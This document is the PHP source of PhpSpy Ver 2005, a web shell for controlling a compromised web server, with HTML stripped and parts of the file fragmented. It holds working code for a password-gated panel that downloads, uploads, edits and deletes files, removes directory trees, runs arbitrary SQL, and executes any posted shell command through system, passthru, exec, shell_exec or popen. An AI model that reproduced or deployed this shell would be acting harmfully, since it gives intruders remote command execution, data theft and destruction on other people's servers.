PhpSpy Ver 2005

"; echo "注销成功......

三秒后自动退出或单击这里退出程序界面>>>"; exit; } if ($login) { $adminpass=trim($_POST['adminpass']); if ($adminpass==$admin['pass']) { setcookie ("adminpass",$admin['pass'],time()+(1*24*3600)); echo ""; echo "登陆成功......

三秒后自动跳转或单击这里进入程序界面>>>"; exit; } } if (isset($_COOKIE['adminpass'])) { if ($_COOKIE['adminpass']!=$admin['pass']) { loginpage(); } } else { loginpage(); } }//end check /*===================== 验证结束 =====================*/ // 判断 magic_quotes_gpc 状态 if (get_magic_quotes_gpc()) { $_GET = stripslashes_array($_GET); $_POST = stripslashes_array($_POST); } if ($_GET['action'] == "phpinfo") { $dis_func = get_cfg_var("disable_functions"); echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>"; exit; } // 下载文件 if (!empty($downfile)) { if (!@file_exists($downfile)) { echo ""; } else { $filename = basename($downfile); $filename_info = explode('.', $filename); $fileext = $filename_info[count($filename_info)-1]; header('Content-type: application/x-'.$fileext); header('Content-Disposition: attachment; filename='.$filename); header('Content-Description: PHP Generated Data'); header('Content-Length: '.filesize($downfile)); @readfile($downfile); exit; } } // 程序目录 $pathname=str_replace('\\','/',dirname(__FILE__)); // 获取当前路径 if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir=$_GET['dir']; $nowpath = getPath($pathname, $dir); } // 判断读写情况 if (dir_writeable($nowpath)) { $dir_writeable = "可写"; } else { $dir_writeable = "不可写"; } $dis_func = get_cfg_var("disable_functions"); $phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; $shellmode=(!get_cfg_var("safe_mode")) ? " | WebShell" : ""; ?> PhpSpy Ver 2005

	:
注销会话 \| 返回 PhpSpy 目录 \| PHP环境变量 \| SQL Query \| Version 2005

程序路径: 当前目录(,): 跳转目录: 〖支持绝对路径和相对路径〗
上传文件到当前目录:
新建文件在当前目录:

\n"; // 删除文件 if(@$delfile!="") { if(file_exists($delfile)) { if (@unlink($delfile)) { echo "".$delfile." 删除成功!"; } else { echo "文件删除失败!"; } } else { echo "文件已不存在,删除失败!"; } } // 删除目录 elseif($rmdir) { if($deldir!="") { $deldirs="$dir/$deldir"; if(!file_exists("$deldirs")) { echo "目录已不存在!"; } else { deltree($deldirs); } } else { echo "删除失败!"; } } // 上传文件 elseif($uploadfile) { echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "上传成功!" : "上传失败!"; } // 编辑文件 elseif($doeditfile) { $filename="$editfilename"; @$fp=fopen("$filename","w"); echo $msg=@fwrite($fp,$_POST['filecontent']) ? "写入文件成功!" : "写入失败!"; @fclose($fp); } // 连接MYSQL elseif($connect) { if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) { echo "数据库连接成功!"; mysql_close(); } else { echo mysql_error(); } } // 执行SQL语句 elseif($doquery) { @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败"); @mysql_select_db($dbname) or die("选择数据库失败"); $result = @mysql_query($_POST['sql_query']); echo ($result) ? "SQL语句成功执行" : "出错: ".mysql_error(); mysql_close(); } // 查看PHP配置参数状况 elseif($viewphpvar) { echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname']).""; } else { echo "本程序由 Security Angel 小组 angel [BST] 独立开发,可在 www.4ngel.net 下载最新版本."; } echo "

\n"; /*===================== 执行操作结束 =====================*/ if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { ?> \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo "\n"; $dir_i++; } else { if($file=="..") { echo "\n"; echo " \n"; echo "\n"; } } } }//while @closedir($dirs); ?> \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo "\n"; $file_i++; } } @closedir($dirs); ?>

文件	创建日期	最后修改	大小	属性	操作
[$file]	$ctime	$mtime	<dir>	$dirperm	删除
返回上级目录

$file	$ctime	$mtime	$size KB	$fileperm	下载 \| 编辑 \| 删除
个目录 / 个文件

新建/编辑文件 [返回]

当前文件: 输入新文件名则建立新文件

WebShell Mode

选择执行函数: 　输入命令:

<?php
	if (!empty($_POST['command'])) {
		if ($execfunc=="system") {
			system($_POST['command']);
		} elseif ($execfunc=="passthru") {
			passthru($_POST['command']);
		} elseif ($execfunc=="exec") {
			$result = exec($_POST['command']);
			echo $result;
		} elseif ($execfunc=="shell_exec") {
			$result=shell_exec($_POST['command']);
			echo $result;	
		} elseif ($execfunc=="popen") {
			$pp = popen($_POST['command'], 'r');
			$read = fread($pp, 2096);
			echo $read;
			pclose($pp);
		} else {
			system($_POST['command']);
		}
	}
	?>

Safe_Mode 已打开, 无法执行系统命令.

删除目录

注意:如果该目录非空,此次操作将会删除该目录下的所有文件.您确定吗?

执行 SQL 语句

Host: User: Pass: DB:

查看PHP配置参数状况

请输入配置参数(如:magic_quotes_gpc):

read()) { if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { @chmod("$deldir/$file",0777); deltree("$deldir/$file"); } if (is_file("$deldir/$file")) { @chmod("$deldir/$file",0777); @unlink("$deldir/$file"); } } $mydir->close(); @chmod("$deldir",0777); echo @rmdir($deldir) ? "目录删除成功!" : "目录删除失败!"; } // 判断读写情况 function dir_writeable($dir) { if (!is_dir($dir)) { @mkdir($dir, 0777); } if(is_dir($dir)) { if ($fp = @fopen("$dir/test.txt", 'w')) { @fclose($fp); @unlink("$dir/test.txt"); $writeable = 1; } else { $writeable = 0; } } return $writeable; } // 表格行间的背景色替换 function getrowbg() { global $bgcounter; if ($bgcounter++%2==0) { return "firstalt"; } else { return "secondalt"; } } // 获取当前的文件系统路径 function getPath($mainpath, $relativepath) { global $dir; $mainpath_info = explode('/', $mainpath); $relativepath_info = explode('/', $relativepath); $relativepath_info_count = count($relativepath_info); for ($i=0; $i<$relativepath_info_count; $i++) { if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; if ($relativepath_info[$i] == '..') { $mainpath_info_count = count($mainpath_info); unset($mainpath_info[$mainpath_info_count-1]); continue; } $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; } //end for return implode('/', $mainpath_info); } // 检查PHP配置参数 function getphpcfg($varname) { switch($result = get_cfg_var($varname)) { case 0: return No; break; case 1: return Yes; break; default: return $result; break; } } ?>